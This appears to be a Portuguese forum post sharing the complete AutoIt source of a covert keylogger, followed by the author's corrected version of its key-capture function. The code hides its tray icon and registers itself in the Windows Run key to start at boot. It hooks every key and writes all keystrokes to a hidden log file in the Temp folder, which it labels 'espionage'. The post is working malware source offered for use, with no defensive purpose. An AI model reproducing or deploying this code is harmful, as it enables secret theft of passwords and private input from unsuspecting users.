Keylogger Simples em Autoit

[Radicalzinho]

O log.txt é salvo na pasta Temp do Windows

#NoTrayIcon
#include <Misc.au3>

RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wi ndows\CurrentVersion\Run", @ScriptName, "REG_SZ", @ScriptFullPath) ;Fazendo o script iniciar junto com o windows

_Singleton("olol",0)

;Criando atalho para todas as teclas
For $i = 0 To 256
HotKeySet(Chr($i), "Capt")
Next

;Criando atalho para o NUMPAD
For $i = 0 To 9
HotKeySet("{NUMPAD" & $i &"}", "CaptNumPad")
Next

$arq = @TempDir & "/log.txt" ;Local do armazenamento do arquivo de log

$i = 0

;Criando arquivo log
FileWrite($arq, @CRLF & "Espionagem iniciada em " & @HOUR & ":" & @MIN & ":" & @SEC & " de " & @MDAY & "/" & @MON & "/" & @YEAR & @CRLF & @CRLF)

FileSetAttrib($arq,"+H") ;Deixando o arquivo oculto

;Loop para manter o keylogger sempre funcionando
While 1
Sleep(1000)
WEnd

;Função para capturar as teclas
Func Capt()
FileWrite($arq, $a & @HotKeyPressed)
HotKeySet(@HotKeyPressed)
Send(@HotKeyPressed)
HotKeySet(@HotKeyPressed, "Capt")
EndFunc

;Função para capturar teclas do NumPad
Func CaptNumPad()
If _IsPressed(60) Then
FileWrite($arq, "0")
ElseIf _IsPressed(61) Then
FileWrite($arq, "1")
ElseIf _IsPressed(62) Then
FileWrite($arq, "2")
ElseIf _IsPressed(63) Then
FileWrite($arq, "3")
ElseIf _IsPressed(64) Then
FileWrite($arq, "4")
ElseIf _IsPressed(65) Then
FileWrite($arq, "5")
ElseIf _IsPressed(66) Then
FileWrite($arq, "6")
ElseIf _IsPressed(67) Then
FileWrite($arq, "7")
ElseIf _IsPressed(68) Then
FileWrite($arq, "8")
Else
FileWrite($arq, "9")
EndIf
HotKeySet(@HotKeyPressed)
Send(@HotKeyPressed)
HotKeySet(@HotKeyPressed, "CaptNumPad")
EndFunc

Espero que gostem

[Radicalzinho]

Desculpem galera postei o código com um pequeno erro....


Procurem a função Capt() para capturar as teclas e substitua por este código:

;Função para capturar as teclas
Func Capt()
FileWrite($arq,@HotKeyPressed)
HotKeySet(@HotKeyPressed)
Send(@HotKeyPressed)
HotKeySet(@HotKeyPressed, "Capt")
EndFunc

Desculpe pelo erro, estava fazendo alguns testes antes de postar